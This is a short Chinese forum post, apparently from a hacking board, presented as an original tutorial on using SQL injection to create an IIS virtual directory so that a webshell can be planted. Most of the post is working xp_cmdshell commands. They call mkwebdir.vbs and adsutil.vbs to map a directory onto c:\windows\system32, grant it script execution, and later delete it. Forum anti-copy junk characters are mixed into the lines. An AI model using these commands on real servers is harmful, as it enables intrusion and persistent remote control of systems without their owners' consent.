[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：8 J9 ]% ]. R' O! U7 N) s
* e5 l8 [, n2 v6 Q
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
3 Q$ a' I8 Y1 V/ \9 }建立虚拟目录win,指向c:\windows\system32
" x& E: `3 V) E+ l/ x3 n6 lexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture', l4 N8 \% J# _  }4 T
让win句有解析asp脚本权限
5 y; l$ _! S4 P% _- T( z! _( r4 x5 G$ R) p3 w* B* L
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
+ k2 w' h9 n# F删除虚拟目录。
" c% P  P+ u! m' Z0 f" s8 P8 [9 S找不到web绝对路径的一种解决办法，
7 ^+ q2 o6 r; T, O1 H+ Z( d: |% B7 ^2 k. M
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊